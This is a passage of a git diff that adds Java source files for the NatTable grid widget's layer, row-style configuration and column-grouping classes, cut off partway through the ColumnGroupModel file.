baseRowPosition = LayerUtil.convertRowPosition(this, rowPosition, baseLayer); + return baseLayer.getConfigLabelsByPosition(baseColumnPosition, baseRowPosition); + } + + public Object getDataValueByPosition(int columnPosition, int rowPosition) { + int baseColumnPosition = LayerUtil.convertColumnPosition(this, columnPosition, baseLayer); + int baseRowPosition = LayerUtil.convertRowPosition(this, rowPosition, baseLayer); + return baseLayer.getDataValueByPosition(baseColumnPosition, baseRowPosition); + } + + // IRegionResolver + + @Override + public LabelStack getRegionLabelsByXY(int x, int y) { + return baseLayer.getRegionLabelsByXY(x, y); + } + + @Override + public IClientAreaProvider getClientAreaProvider() { + return clientAreaProvider; + } + + @Override + public void setClientAreaProvider(IClientAreaProvider clientAreaProvider) { + this.clientAreaProvider = clientAreaProvider; + } + + public ILayer getUnderlyingLayerByPosition(int columnPosition, int rowPosition) { + return baseLayer; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/GridLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/GridLayer.java new file mode 100644 index 0000000..f4534de --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/GridLayer.java @@ -0,0 +1,137 @@ +package net.sourceforge.nattable.grid.layer; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.export.excel.command.ExportToExcelCommandHandler; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.grid.command.AutoResizeColumnCommandHandler; +import net.sourceforge.nattable.grid.command.AutoResizeRowCommandHandler; +import net.sourceforge.nattable.grid.layer.config.DefaultGridLayerConfiguration; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.print.command.PrintCommandHandler; +import net.sourceforge.nattable.selection.command.SelectCellCommand; + +/** + * Top level layer. It is composed of the smaller child layers: RowHeader, + * ColumnHeader, Corner and Body It does not have its own coordinate system + * unlike the other layers. It simply delegates most functions to its child + * layers. + */ +public class GridLayer extends CompositeLayer { + + public GridLayer(ILayer bodyLayer, ILayer columnHeaderLayer, ILayer rowHeaderLayer, ILayer cornerLayer) { + this(bodyLayer, columnHeaderLayer, rowHeaderLayer, cornerLayer, true); + } + + public GridLayer(ILayer bodyLayer, ILayer columnHeaderLayer, ILayer rowHeaderLayer, ILayer cornerLayer, boolean useDefaultConfiguration) { + super(2, 2); + + setBodyLayer(bodyLayer); + setColumnHeaderLayer(columnHeaderLayer); + setRowHeaderLayer(rowHeaderLayer); + setCornerLayer(cornerLayer); + + init(useDefaultConfiguration); + } + + protected GridLayer(boolean useDefaultConfiguration) { + super(2, 2); + init(useDefaultConfiguration); + } + + protected void init(boolean useDefaultConfiguration) { + registerCommandHandlers(); + + if (useDefaultConfiguration) { + addConfiguration(new DefaultGridLayerConfiguration(this)); + } + } + + protected void registerCommandHandlers() { + registerCommandHandler(new PrintCommandHandler(this)); + registerCommandHandler(new ExportToExcelCommandHandler(this)); + registerCommandHandler(new AutoResizeColumnCommandHandler(this)); + registerCommandHandler(new AutoResizeRowCommandHandler(this)); + } + + /** + * How the GridLayer processes commands is very important. Do not + * change this unless you know what you are doing and understand the full + * ramifications of your change. Otherwise your grid will not behave + * correctly! + * + * The Body is always given the first chance to process a command. There are + * two reasons for this: (1) most commands (80%) are destined for the body + * anyways so it's faster to check there first (2) the other layers all + * transitively depend on the body so it's not wise to ask them to do stuff + * until after the body has done it. This is especially true of grid + * initialization where the body must be initialized before any of its + * dependent layers. + * + * Because of this, if you want to intercept well-known commands to + * implement custom behavior (for example, you want to intercept the + * {@link SelectCellCommand}) then you must inject your special + * layer into the body. An injected column or row header will + * never see the command because it will be consumed first by the body. In + * practice, it's a good idea to implement all your command-handling logic + * in the body. + **/ + @Override + protected boolean doCommandOnChildLayers(ILayerCommand command) { + if (doCommandOnChildLayer(command, getBodyLayer())) { + return true; + } else if (doCommandOnChildLayer(command, getColumnHeaderLayer())) { + return true; + } else if (doCommandOnChildLayer(command, getRowHeaderLayer())) { + return true; + } else { + return doCommandOnChildLayer(command, getCornerLayer()); + } + } + + private boolean doCommandOnChildLayer(ILayerCommand command, ILayer childLayer) { + ILayerCommand childCommand = command.cloneCommand(); + return childLayer.doCommand(childCommand); + } + + // Sub-layer accessors + + public ILayer getCornerLayer() { + return getChildLayerByLayoutCoordinate(0, 0); + } + + public void setCornerLayer(ILayer cornerLayer) { + setChildLayer(GridRegion.CORNER, cornerLayer, 0, 0); + } + + public ILayer getColumnHeaderLayer() { + return getChildLayerByLayoutCoordinate(1, 0); + } + + public void setColumnHeaderLayer(ILayer columnHeaderLayer) { + setChildLayer(GridRegion.COLUMN_HEADER, columnHeaderLayer, 1, 0); + } + + public ILayer getRowHeaderLayer() { + return getChildLayerByLayoutCoordinate(0, 1); + } + + public void setRowHeaderLayer(ILayer rowHeaderLayer) { + setChildLayer(GridRegion.ROW_HEADER, rowHeaderLayer, 0, 1); + } + + public ILayer getBodyLayer() { + return getChildLayerByLayoutCoordinate(1, 1); + } + + public void setBodyLayer(ILayer bodyLayer) { + setChildLayer(GridRegion.BODY, bodyLayer, 1, 1); + } + + @Override + public String toString() { + return getClass().getSimpleName() + "[corner=" + getCornerLayer() + " columnHeader=" + getColumnHeaderLayer() + + " rowHeader=" + getRowHeaderLayer() + " bodyLayer=" + getBodyLayer() + "]"; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/RowHeaderLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/RowHeaderLayer.java new file mode 100644 index 0000000..dc881a2 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/RowHeaderLayer.java @@ -0,0 +1,51 @@ +package net.sourceforge.nattable.grid.layer; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.layer.LayerUtil; +import net.sourceforge.nattable.layer.config.DefaultRowHeaderLayerConfiguration; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.SelectionStyleLabels; + +public class RowHeaderLayer extends DimensionallyDependentLayer { + + private final SelectionLayer selectionLayer; + + public RowHeaderLayer(IUniqueIndexLayer baseLayer, ILayer verticalLayerDependency, SelectionLayer selectionLayer) { + this(baseLayer, verticalLayerDependency, selectionLayer, true); + } + + public RowHeaderLayer(IUniqueIndexLayer baseLayer, ILayer verticalLayerDependency, SelectionLayer selectionLayer, boolean useDefaultConfiguration) { + super(baseLayer, baseLayer, verticalLayerDependency); + this.selectionLayer = selectionLayer; + + if (useDefaultConfiguration) { + addConfiguration(new DefaultRowHeaderLayerConfiguration()); + } + } + + @Override + public String getDisplayModeByPosition(int columnPosition, int rowPosition) { + int selectionLayerRowPosition = LayerUtil.convertRowPosition(this, rowPosition, selectionLayer); + if (selectionLayer.isRowPositionSelected(selectionLayerRowPosition)) { + return DisplayMode.SELECT; + } else { + return super.getDisplayModeByPosition(columnPosition, rowPosition); + } + } + + @Override + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition) { + LabelStack labelStack = super.getConfigLabelsByPosition(columnPosition, rowPosition); + + final int selectionLayerRowPosition = LayerUtil.convertRowPosition(this, rowPosition, selectionLayer); + if (selectionLayer.isRowFullySelected(selectionLayerRowPosition)) { + labelStack.addLabel(SelectionStyleLabels.ROW_FULLY_SELECTED_STYLE); + } + + return labelStack; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/config/DefaultGridLayerConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/config/DefaultGridLayerConfiguration.java new file mode 100644 index 0000000..10c18b8 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/config/DefaultGridLayerConfiguration.java @@ -0,0 +1,46 @@ +package net.sourceforge.nattable.grid.layer.config; + +import net.sourceforge.nattable.config.AggregateConfiguration; +import net.sourceforge.nattable.edit.config.DefaultEditBindings; +import net.sourceforge.nattable.edit.config.DefaultEditConfiguration; +import net.sourceforge.nattable.export.excel.config.DefaultExportToExcelBindings; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.grid.cell.AlternatingRowConfigLabelAccumulator; +import net.sourceforge.nattable.grid.layer.GridLayer; +import net.sourceforge.nattable.print.config.DefaultPrintBindings; + +/** + * Sets up features handled at the grid level. Added by {@link GridLayer} + */ +public class DefaultGridLayerConfiguration extends AggregateConfiguration { + + public DefaultGridLayerConfiguration(GridLayer gridLayer) { + addAlternateRowColoringConfig(gridLayer); + addEditingHandlerConfig(); + addEditingUIConfig(); + addPrintUIBindings(); + addExcelExportUIBindings(); + } + + protected void addExcelExportUIBindings() { + addConfiguration(new DefaultExportToExcelBindings()); + } + + protected void addPrintUIBindings() { + addConfiguration(new DefaultPrintBindings()); + } + + protected void addEditingUIConfig() { + addConfiguration(new DefaultEditBindings()); + } + + protected void addEditingHandlerConfig() { + addConfiguration(new DefaultEditConfiguration()); + } + + protected void addAlternateRowColoringConfig(GridLayer gridLayer) { + addConfiguration(new DefaultRowStyleConfiguration()); + gridLayer.setConfigLabelAccumulatorForRegion(GridRegion.BODY, new AlternatingRowConfigLabelAccumulator()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/config/DefaultRowStyleConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/config/DefaultRowStyleConfiguration.java new file mode 100644 index 0000000..b22ba52 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/config/DefaultRowStyleConfiguration.java @@ -0,0 +1,38 @@ +package net.sourceforge.nattable.grid.layer.config; + +import net.sourceforge.nattable.config.AbstractRegistryConfiguration; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.grid.cell.AlternatingRowConfigLabelAccumulator; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.Style; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.Color; + +/** + * Sets up alternate row coloring. Applied by {@link DefaultGridLayerConfiguration} + */ +public class DefaultRowStyleConfiguration extends AbstractRegistryConfiguration { + + public Color evenRowBgColor = GUIHelper.COLOR_WIDGET_BACKGROUND; + public Color oddRowBgColor = GUIHelper.COLOR_WHITE; + + public void configureRegistry(IConfigRegistry configRegistry) { + configureOddRowStyle(configRegistry); + configureEvenRowStyle(configRegistry); + } + + protected void configureOddRowStyle(IConfigRegistry configRegistry) { + Style cellStyle = new Style(); + cellStyle.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, oddRowBgColor); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.NORMAL, AlternatingRowConfigLabelAccumulator.EVEN_ROW_CONFIG_TYPE); + } + + protected void configureEvenRowStyle(IConfigRegistry configRegistry) { + Style cellStyle = new Style(); + cellStyle.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, evenRowBgColor); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.NORMAL, AlternatingRowConfigLabelAccumulator.ODD_ROW_CONFIG_TYPE); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/event/ColumnHeaderSelectionEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/event/ColumnHeaderSelectionEvent.java new file mode 100644 index 0000000..4fadcfa --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/event/ColumnHeaderSelectionEvent.java @@ -0,0 +1,32 @@ +package net.sourceforge.nattable.grid.layer.event; + +import java.util.Arrays; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.ColumnVisualChangeEvent; + +public class ColumnHeaderSelectionEvent extends ColumnVisualChangeEvent { + + public ColumnHeaderSelectionEvent(ILayer layer, int columnPosition) { + this(layer, new Range(columnPosition, columnPosition + 1)); + } + + public ColumnHeaderSelectionEvent(ILayer layer, Range...columnPositionRanges) { + this(layer, Arrays.asList(columnPositionRanges)); + } + + public ColumnHeaderSelectionEvent(ILayer layer, Collection columnPositionRanges) { + super(layer, columnPositionRanges); + } + + protected ColumnHeaderSelectionEvent(ColumnHeaderSelectionEvent event) { + super(event); + } + + public ColumnHeaderSelectionEvent cloneEvent() { + return new ColumnHeaderSelectionEvent(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupExpandCollapseLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupExpandCollapseLayer.java new file mode 100644 index 0000000..4c19552 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupExpandCollapseLayer.java @@ -0,0 +1,65 @@ +package net.sourceforge.nattable.group; + +import java.util.Collection; +import java.util.HashSet; + +import net.sourceforge.nattable.group.command.ColumnGroupExpandCollapseCommandHandler; +import net.sourceforge.nattable.hideshow.AbstractColumnHideShowLayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; + +/** + * Tracks the Expand/Collapse of a Column Group header + * NOTE: Only relevant when Column Grouping is enabled. + */ +public class ColumnGroupExpandCollapseLayer extends AbstractColumnHideShowLayer implements IColumnGroupModelListener { + + private final ColumnGroupModel model; + + public ColumnGroupExpandCollapseLayer(IUniqueIndexLayer underlyingLayer, ColumnGroupModel model) { + super(underlyingLayer); + this.model = model; + + model.registerColumnGroupModelListner(this); + + registerCommandHandler(new ColumnGroupExpandCollapseCommandHandler(this)); + } + + public ColumnGroupModel getModel() { + return model; + } + + // Expand/collapse + + @Override + public boolean isColumnIndexHidden(int columnIndex) { + IUniqueIndexLayer underlyingLayer = (IUniqueIndexLayer) getUnderlyingLayer(); + return ColumnGroupUtils.isColumnIndexHiddenInUnderLyingLayer(columnIndex, this, underlyingLayer) + || (model.isCollapsed(columnIndex) && !ColumnGroupUtils.isFirstVisibleColumnIndexInGroup(columnIndex, this, underlyingLayer, model)); + } + + @Override + public Collection getHiddenColumnIndexes() { + Collection hiddenColumnIndexes = new HashSet(); + + IUniqueIndexLayer underlyingLayer = (IUniqueIndexLayer) getUnderlyingLayer(); + int underlyingColumnCount = underlyingLayer.getColumnCount(); + for (int i = 0; i < underlyingColumnCount; i++) { + int colIndex = underlyingLayer.getColumnIndexByPosition(i); + + if (model.isCollapsed(colIndex)) { + if (!ColumnGroupUtils.isFirstVisibleColumnIndexInGroup(colIndex, this, underlyingLayer, model)) { + hiddenColumnIndexes.add(Integer.valueOf(colIndex)); + } + } + } + + return hiddenColumnIndexes; + } + + // IColumnGroupModelListener + + public void columnGroupModelChanged() { + invalidateCache(); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupHeaderLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupHeaderLayer.java new file mode 100644 index 0000000..cfc7d26 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupHeaderLayer.java @@ -0,0 +1,299 @@ +package net.sourceforge.nattable.group; + +import java.util.List; +import java.util.Properties; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.group.command.ColumnGroupsCommandHandler; +import net.sourceforge.nattable.group.config.DefaultColumnGroupHeaderLayerConfiguration; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.layer.SizeConfig; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.layer.event.ColumnStructuralRefreshEvent; +import net.sourceforge.nattable.painter.layer.CellLayerPainter; +import net.sourceforge.nattable.painter.layer.ILayerPainter; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.style.DisplayMode; + +/** + * Adds the Column grouping functionality to the column headers.
    + * Also persists the state of the column groups when {@link NatTable#saveState()} is invoked.
    + *
    + * Internally uses the {@link ColumnGroupModel} to track the column groups.
    + * @see ColumnGroupGridExample + */ +public class ColumnGroupHeaderLayer extends AbstractLayerTransform { + + private final SizeConfig rowHeightConfig = new SizeConfig(DataLayer.DEFAULT_ROW_HEIGHT); + private final ColumnGroupModel model; + private final ILayer columnHeaderLayer; + private final ILayerPainter layerPainter = new CellLayerPainter(); + + public ColumnGroupHeaderLayer(ILayer columnHeaderLayer, SelectionLayer selectionLayer, ColumnGroupModel columnGroupModel) { + this(columnHeaderLayer, selectionLayer, columnGroupModel, true); + } + + public ColumnGroupHeaderLayer(ILayer columnHeaderLayer, SelectionLayer selectionLayer, ColumnGroupModel columnGroupModel, boolean useDefaultConfiguration) { + super(columnHeaderLayer); + this.columnHeaderLayer = columnHeaderLayer; + this.model = columnGroupModel; + + registerCommandHandler(new ColumnGroupsCommandHandler(model, selectionLayer, this)); + + if (useDefaultConfiguration) { + addConfiguration(new DefaultColumnGroupHeaderLayerConfiguration(columnGroupModel)); + } + } + + // Persistence + + @Override + public void saveState(String prefix, Properties properties) { + super.saveState(prefix, properties); + model.saveState(prefix, properties); + } + + @Override + public void loadState(String prefix, Properties properties) { + super.loadState(prefix, properties); + model.loadState(prefix, properties); + fireLayerEvent(new ColumnStructuralRefreshEvent(this)); + } + + // Configuration + + @Override + public ILayerPainter getLayerPainter() { + return layerPainter; + } + + // Vertical features + + // Rows + + @Override + public int getRowCount() { + return columnHeaderLayer.getRowCount() + 1; + } + + @Override + public int getPreferredRowCount() { + return columnHeaderLayer.getPreferredRowCount() + 1; + } + + @Override + public int getRowIndexByPosition(int rowPosition) { + if (rowPosition == 0) { + return rowPosition; + } else { + return columnHeaderLayer.getRowIndexByPosition(rowPosition - 1); + } + } + + // Height + + @Override + public int getHeight() { + return rowHeightConfig.getAggregateSize(1) + columnHeaderLayer.getHeight(); + } + + @Override + public int getPreferredHeight() { + return rowHeightConfig.getAggregateSize(1) + columnHeaderLayer.getPreferredHeight(); + } + + @Override + public int getRowHeightByPosition(int rowPosition) { + if (rowPosition == 0) { + return rowHeightConfig.getSize(rowPosition); + } else { + return columnHeaderLayer.getRowHeightByPosition(rowPosition - 1); + } + } + + public void setRowHeight(int rowHeight) { + this.rowHeightConfig.setSize(0, rowHeight); + } + + // Row resize + + @Override + public boolean isRowPositionResizable(int rowPosition) { + if (rowPosition == 0) { + return rowHeightConfig.isPositionResizable(rowPosition); + } else { + return columnHeaderLayer.isRowPositionResizable(rowPosition - 1); + } + } + + // Y + + @Override + public int getRowPositionByY(int y) { + int row0Height = getRowHeightByPosition(0); + if (y < row0Height) { + return 0; + } else { + return 1 + columnHeaderLayer.getRowPositionByY(y - row0Height); + } + } + + @Override + public int getStartYOfRowPosition(int rowPosition) { + if (rowPosition == 0) { + return rowHeightConfig.getAggregateSize(rowPosition); + } else { + return getRowHeightByPosition(0) + columnHeaderLayer.getStartYOfRowPosition(rowPosition - 1); + } + } + + // Cell features + + /** + * If a cell belongs to a column group: + * column position - set to the start position of the group + * span - set to the width/size of the column group + * + * NOTE: gc.setClip() is used in the CompositeLayerPainter to ensure that partially visible + * Column group header cells are rendered properly. + */ + @Override + public LayerCell getCellByPosition(int columnPosition, int rowPosition) { + int bodyColumnIndex = getColumnIndexByPosition(columnPosition); + + // Column group header cell + if (model.isPartOfAGroup(bodyColumnIndex)) { + if (rowPosition == 0) { + return new LayerCell( + this, + getStartPositionOfGroup(columnPosition), rowPosition, + columnPosition, rowPosition, + getColumnSpan(columnPosition), 1 + ); + } else { + return new LayerCell(this, columnPosition, rowPosition); + } + } else { + // render column header w/ rowspan = 2 + LayerCell cell = columnHeaderLayer.getCellByPosition(columnPosition, 0); + if (cell != null) { + cell.updateLayer(this); + cell.updateRowSpan(2); + } + return cell; + } + } + + /** + * Calculates the span of a cell in a Column Group. + * Takes into account collapsing and hidden columns in the group. + * + * @param selectionLayerColumnPosition of any column belonging to the group + */ + protected int getColumnSpan(int columnPosition) { + int columnIndex = getColumnIndexByPosition(columnPosition); + if (model.isCollapsed(columnIndex)) { + return 1; + } else { + int startPositionOfGroup = getStartPositionOfGroup(columnPosition); + int sizeOfGroup = model.sizeOfGroup(columnIndex); + int endPositionOfGroup = startPositionOfGroup + sizeOfGroup; + List columnIndexesInGroup = model.getColumnIndexesInGroup(columnIndex); + + for (int i = startPositionOfGroup; i < endPositionOfGroup; i++) { + int index = getColumnIndexByPosition(i); + if (!columnIndexesInGroup.contains(Integer.valueOf(index))) { + sizeOfGroup--; + } + } + return sizeOfGroup; + } + } + + /** + * Figures out the start position of the group. + * + * @param selectionLayerColumnPosition of any column belonging to the group + * @return first position of the column group + */ + private int getStartPositionOfGroup(int columnPosition) { + int bodyColumnIndex = getColumnIndexByPosition(columnPosition); + int leastPossibleStartPositionOfGroup = columnPosition - model.sizeOfGroup(bodyColumnIndex); + int i = 0; + for (i = leastPossibleStartPositionOfGroup; i < columnPosition; i++) { + if (ColumnGroupUtils.isInTheSameGroup(getColumnIndexByPosition(i), bodyColumnIndex, model)) { + break; + } + } + return i; + } + + @Override + public String getDisplayModeByPosition(int columnPosition, int rowPosition) { + int columnIndex = getColumnIndexByPosition(columnPosition); + if (rowPosition == 0 && model.isPartOfAGroup(columnIndex)) { + return DisplayMode.NORMAL; + } else { + return columnHeaderLayer.getDisplayModeByPosition(columnPosition, rowPosition); + } + } + + @Override + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition) { + int columnIndex = getColumnIndexByPosition(columnPosition); + if (rowPosition == 0 && model.isPartOfAGroup(columnIndex)) { + return new LabelStack(GridRegion.COLUMN_GROUP_HEADER); + } else { + return columnHeaderLayer.getConfigLabelsByPosition(columnPosition, rowPosition); + } + } + + @Override + public Object getDataValueByPosition(int columnPosition, int rowPosition) { + int columnIndex = getColumnIndexByPosition(columnPosition); + if (rowPosition == 0 && model.isPartOfAGroup(columnIndex)) { + return model.getColumnGroupNameForIndex(columnIndex); + } else { + return columnHeaderLayer.getDataValueByPosition(columnPosition, 0); + } + } + + @Override + public LabelStack getRegionLabelsByXY(int x, int y) { + int columnIndex = getColumnIndexByPosition(getColumnPositionByX(x)); + if (model.isPartOfAGroup(columnIndex) && y < getRowHeightByPosition(0)) { + return new LabelStack(GridRegion.COLUMN_GROUP_HEADER); + } else { + return columnHeaderLayer.getRegionLabelsByXY(x, y - getRowHeightByPosition(0)); + } + } + + // ColumnGroupModel delegates + + public void addColumnsIndexesToGroup(String colGroupName, int... colIndexes) { + model.addColumnsIndexesToGroup(colGroupName, colIndexes); + } + + public void collapseColumnGroupByIndex(int columnIndex) { + model.collapse(columnIndex); + } + + public void clearAllGroups(){ + model.clear(); + } + + /** + * @see ColumnGroupModel#setGroupUnBreakable(int) + */ + public void setGroupUnbreakable(int columnIndex){ + model.setGroupUnBreakable(columnIndex); + } + + public void setGroupAsCollapsed(int i) { + model.collapse(i); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupModel.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupModel.java new file mode 100644 index 0000000..9db18de --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupModel.java @@ -0,0 +1,404 @@ +package net.sourceforge.nattable.group; + +import java.util.Collection; +import java.util.Collections; +import java.util.HashSet; +import java.util.LinkedHashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Properties; +import java.util.StringTokenizer; + +import net.sourceforge.nattable.persistence.IPersistable; +import net.sourceforge.nattable.util.ObjectUtils; + +/** + * Tracks: + * Columns (by index) in a column Group. Does not keep the column indexes in any defined order. + * Expand/collapse state of the Group. + * Name of the Column Group (CG) + */ +public class ColumnGroupModel implements IPersistable { + + private static final String PERSISTENCE_KEY_COLUMN_GROUPS = ".columnGroups"; + + /** Column group header name to column indexes */ + private final LinkedHashMap nameToColumnGroup = new LinkedHashMap(); + + private final LinkedHashMap indexToColumnGroupName = new LinkedHashMap(); + + private final Collection listeners = new HashSet(); + + public void registerColumnGroupModelListner(IColumnGroupModelListener listener) { + listeners.add(listener); + } + + public void notifyListeners() { + for (IColumnGroupModelListener listener : listeners) { + listener.columnGroupModelChanged(); + } + } + + public void saveState(String prefix, Properties properties) { + StringBuilder strBuilder = new StringBuilder(); + + for (String columnGroupName : nameToColumnGroup.keySet()) { + strBuilder.append(columnGroupName); + strBuilder.append('='); + + ColumnGroup columnGroup = nameToColumnGroup.get(columnGroupName); + strBuilder.append(columnGroup.collapsed ? "collapsed" : "expanded"); + strBuilder.append(':'); + + strBuilder.append(columnGroup.unbreakable ? "unbreakable" : "breakable"); + strBuilder.append(':'); + + for (Integer member : columnGroup.members) { + strBuilder.append(member); + strBuilder.append(','); + } + + strBuilder.append('|'); + } + + properties.setProperty(prefix + PERSISTENCE_KEY_COLUMN_GROUPS, strBuilder.toString()); + } + + public void loadState(String prefix, Properties properties) { + String property = properties.getProperty(prefix + PERSISTENCE_KEY_COLUMN_GROUPS); + if (property != null) { + clear(); + + StringTokenizer columnGroupTokenizer = new StringTokenizer(property, "|"); + while (columnGroupTokenizer.hasMoreTokens()) { + String columnGroupToken = columnGroupTokenizer.nextToken(); + + int separatorIndex = columnGroupToken.indexOf('='); + + // Column group name + String columnGroupName = columnGroupToken.substring(0, separatorIndex); + ColumnGroup columnGroup = new ColumnGroup(columnGroupName); + nameToColumnGroup.put(columnGroupName, columnGroup); + + String[] columnGroupProperties = columnGroupToken.substring(separatorIndex + 1).split(":"); + + // Expanded/collapsed + String state = columnGroupProperties[0]; + if ("collapsed".equals(state)) { + columnGroup.collapsed = true; + } else if ("expanded".equals(state)) { + columnGroup.collapsed = false; + } else { + throw new IllegalArgumentException(state + " not one of 'expanded' or 'collapsed'"); + } + + // breakable / unbreakable + state = columnGroupProperties[1]; + if ("breakable".equals(state)) { + columnGroup.unbreakable = false; + } else if ("unbreakable".equals(state)) { + columnGroup.unbreakable = true; + } else { + throw new IllegalArgumentException(state + " not one of 'breakable' or 'unbreakable'"); + } + + // Indexes + String indexes = columnGroupProperties[2]; + StringTokenizer indexTokenizer = new StringTokenizer(indexes, ","); + while (indexTokenizer.hasMoreTokens()) { + Integer index = Integer.valueOf(indexTokenizer.nextToken()); + columnGroup.members.add(index); + indexToColumnGroupName.put(index, columnGroupName); + } + } + } + } + + /** + * Creates the column group if one does not exist with the given name + * and adds the column indexes to it. + * @see ColumnGroupModel#insertColumnIndexes(String, int...); + */ + public void addColumnsIndexesToGroup(String colGroupName, int... bodyColumnIndexs) { + if (nameToColumnGroup.get(colGroupName) == null) { + ColumnGroup group = new ColumnGroup(colGroupName); + nameToColumnGroup.put(colGroupName, group); + } + insertColumnIndexes(colGroupName, bodyColumnIndexs); + notifyListeners(); + } + + /** + * This method will add column index(s) to an existing group + * @param colGroupName to add the indexes to + * @param columnIndexToInsert + * @return FALSE if: + * The column group is frozen + * Index is already s part of a column group + */ + public boolean insertColumnIndexes(String colGroupName, int... columnIndexesToInsert) { + LinkedList members = new LinkedList(); + LinkedHashMap indexToColumnGroupName = new LinkedHashMap(); + + ColumnGroup columnGroup = nameToColumnGroup.get(colGroupName); + if (columnGroup.unbreakable) { + return false; + } + + // Check if any of the indexes belong to existing groups + for (int columnIndexToInsert : columnIndexesToInsert) { + final Integer index = Integer.valueOf(columnIndexToInsert); + if (isPartOfAGroup(columnIndexToInsert)) { + return false; + } + members.add(index); + indexToColumnGroupName.put(index, colGroupName); + } + + this.indexToColumnGroupName.putAll(indexToColumnGroupName); + columnGroup.members.addAll(members); + notifyListeners(); + return true; + } + + // Getters + + /* + * Do not expose private ColumnGroup class + */ + private ColumnGroup getColumnGroupForIndex(int bodyColumnIndex) { + Integer key = Integer.valueOf(bodyColumnIndex); + if (indexToColumnGroupName.containsKey(key)) { + return nameToColumnGroup.get(indexToColumnGroupName.get(key)); + } + return null; + } + + public String getColumnGroupNameForIndex(int bodyColumnIndex) { + if (isPartOfAGroup(bodyColumnIndex)) { + return getColumnGroupForIndex(bodyColumnIndex).name; + } + return null; + } + + /** + * @return Unmodifiable list of other column indexes in the same group as this index + */ + public List getColumnIndexesInGroup(int bodyColumnIndex) { + ColumnGroup group = getColumnGroupForIndex(bodyColumnIndex); + if(group == null) { + return Collections.emptyList(); + } + return Collections.unmodifiableList(group.members); + } + + /** + * @return all the indexes which belong to groups + */ + public List getAllIndexesInGroups() { + List indexes = new LinkedList(); + for (ColumnGroup columnGroup : nameToColumnGroup.values()) { + indexes.addAll(columnGroup.members); + } + return indexes; + } + + public boolean isPartOfAGroup(int bodyColumnIndex){ + return indexToColumnGroupName.containsKey(Integer.valueOf(bodyColumnIndex)); + } + + public void clear() { + nameToColumnGroup.clear(); + indexToColumnGroupName.clear(); + } + + /** + * @return Number of column Groups in the model. + */ + public int size() { + return nameToColumnGroup.size(); + } + + /** + * Number of columns in the Group which the bodyColumnIndex belongs to. + */ + public int sizeOfGroup(int bodyColumnIndex) { + return getColumnIndexesInGroup(bodyColumnIndex).size(); + } + + /** + * @return TRUE if no column groups exist + */ + public boolean isEmpty() { + return nameToColumnGroup.size() == 0; + } + + /** 